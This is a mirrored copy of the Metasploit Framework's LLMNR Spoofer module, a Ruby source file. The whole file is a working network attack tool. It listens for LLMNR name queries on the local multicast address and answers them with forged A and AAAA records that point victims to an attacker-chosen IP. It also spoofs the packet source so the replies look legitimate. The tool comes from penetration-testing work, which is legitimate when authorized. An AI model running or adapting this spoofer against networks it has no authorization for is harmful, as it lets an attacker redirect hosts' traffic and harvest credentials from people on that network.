CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/llmnr/llmnr_response.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'socket'
7
require 'ipaddr'
8
require 'net/dns'
9
10
class MetasploitModule < Msf::Auxiliary
11
12
include Msf::Exploit::Capture
13
14
attr_accessor :sock, :thread
15
16
17
def initialize
18
super(
19
'Name' => 'LLMNR Spoofer',
20
'Description' => %q{
21
LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to
22
resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests
23
sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.
24
},
25
'Author' => [ 'Robin Francois <rof[at]navixia.com>' ],
26
'License' => MSF_LICENSE,
27
'References' =>
28
[
29
[ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ]
30
],
31
32
'Actions' =>
33
[
34
[ 'Service', 'Description' => 'Run LLMNR spoofing service' ]
35
],
36
'PassiveActions' =>
37
[
38
'Service'
39
],
40
'DefaultAction' => 'Service'
41
)
42
43
register_options([
44
OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", ""]),
45
OptRegexp.new('REGEX', [ true, "Regex applied to the LLMNR Name to determine if spoofed reply is sent", '.*']),
46
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 30]),
47
])
48
49
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
50
self.thread = nil
51
self.sock = nil
52
end
53
54
def dispatch_request(packet, rhost, src_port)
55
rhost = ::IPAddr.new(rhost)
56
57
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
58
# addr like "::ffff:192.168.0.1" when the interface we're listening
59
# on has an IPv6 address. Convert it to just the v4 addr
60
if rhost.ipv4_mapped?
61
rhost = rhost.native
62
end
63
64
dns_pkt = ::Net::DNS::Packet.parse(packet)
65
spoof = ::IPAddr.new(datastore['SPOOFIP'])
66
67
# Turn this packet into a response
68
dns_pkt.header.qr = 1
69
70
dns_pkt.question.each do |question|
71
name = question.qName
72
unless name =~ /#{datastore['REGEX']}/i
73
vprint_status("#{rhost.to_s.ljust 16} llmnr - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
74
next
75
end
76
77
if should_print_reply?(name)
78
print_good("#{rhost.to_s.ljust 16} llmnr - #{name} matches regex, responding with #{datastore['SPOOFIP']}")
79
end
80
81
# qType is not a Integer, so to compare it with `case` we have to
82
# convert it
83
case question.qType.to_i
84
when ::Net::DNS::A
85
dns_pkt.answer << ::Net::DNS::RR::A.new(
86
:name => name,
87
:ttl => datastore['TTL'],
88
:cls => ::Net::DNS::IN,
89
:type => ::Net::DNS::A,
90
:address => spoof.to_s
91
)
92
when ::Net::DNS::AAAA
93
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
94
:name => name,
95
:ttl => datastore['TTL'],
96
:cls => ::Net::DNS::IN,
97
:type => ::Net::DNS::AAAA,
98
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
99
)
100
when ::Net::DNS::ANY
101
# For ANY queries, respond with both an A record as well as an AAAA.
102
dns_pkt.answer << ::Net::DNS::RR::A.new(
103
:name => name,
104
:ttl => datastore['TTL'],
105
:cls => ::Net::DNS::IN,
106
:type => ::Net::DNS::A,
107
:address => spoof.to_s
108
)
109
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
110
:name => name,
111
:ttl => datastore['TTL'],
112
:cls => ::Net::DNS::IN,
113
:type => ::Net::DNS::AAAA,
114
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
115
)
116
when ::Net::DNS::PTR
117
# Sometimes PTR queries are received. We will silently ignore them.
118
next
119
else
120
print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type (#{question.qType.to_i}), this shouldn't happen. Skipping")
121
next
122
end
123
end
124
125
# If we didn't find anything we want to spoof, don't send any
126
# packets
127
return if dns_pkt.answer.empty?
128
129
udp = ::PacketFu::UDPHeader.new(
130
:udp_src => 5355,
131
:udp_dst => src_port,
132
:body => dns_pkt.data
133
)
134
udp.udp_recalc
135
if rhost.ipv4?
136
ip_pkt = ::PacketFu::IPPacket.new(
137
:ip_src => spoof.hton,
138
:ip_dst => rhost.hton,
139
:ip_proto => 0x11, # UDP
140
:body => udp
141
)
142
elsif rhost.ipv6?
143
ip_pkt = ::PacketFu::IPv6Packet.new(
144
:ipv6_src => spoof.hton,
145
:ipv6_dst => rhost.hton,
146
:ip_proto => 0x11, # UDP
147
:body => udp
148
)
149
else
150
# Should never get here
151
print_error("IP version is not 4 or 6. Failed to parse?")
152
return
153
end
154
ip_pkt.recalc
155
156
capture_sendto(ip_pkt, rhost.to_s, true)
157
end
158
159
def monitor_socket
160
while true
161
rds = [self.sock]
162
wds = []
163
eds = [self.sock]
164
165
r,_,_ = ::IO.select(rds,wds,eds,0.25)
166
167
if (r != nil and r[0] == self.sock)
168
packet, host, port = self.sock.recvfrom(65535)
169
dispatch_request(packet, host, port)
170
end
171
end
172
end
173
174
175
# Don't spam with success, just throttle to every 10 seconds
176
# per host
177
def should_print_reply?(host)
178
@notified_times ||= {}
179
now = Time.now.utc
180
@notified_times[host] ||= now
181
last_notified = now - @notified_times[host]
182
if last_notified == 0 or last_notified > 10
183
@notified_times[host] = now
184
else
185
false
186
end
187
end
188
189
def run
190
check_pcaprub_loaded()
191
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
192
193
# Avoid receiving extraneous traffic on our send socket
194
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
195
196
# Multicast Address for LLMNR
197
multicast_addr = ::IPAddr.new("224.0.0.252")
198
199
# The bind address here will determine which interface we receive
200
# multicast packets from. If the address is INADDR_ANY, we get them
201
# from all interfaces, so try to restrict if we can, but fall back
202
# if we can't
203
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
204
205
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
206
self.sock = Rex::Socket.create_udp(
207
# This must be INADDR_ANY to receive multicast packets
208
'LocalHost' => "0.0.0.0",
209
'LocalPort' => 5355,
210
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
211
)
212
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
213
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
214
215
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
216
monitor_socket
217
}
218
219
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
220
221
add_socket(self.sock)
222
223
self.thread.join
224
end
225
226
def cleanup
227
if self.thread and self.thread.alive?
228
self.thread.kill
229
self.thread = nil
230
end
231
self.sock.close
232
close_pcap
233
end
234
end
235
236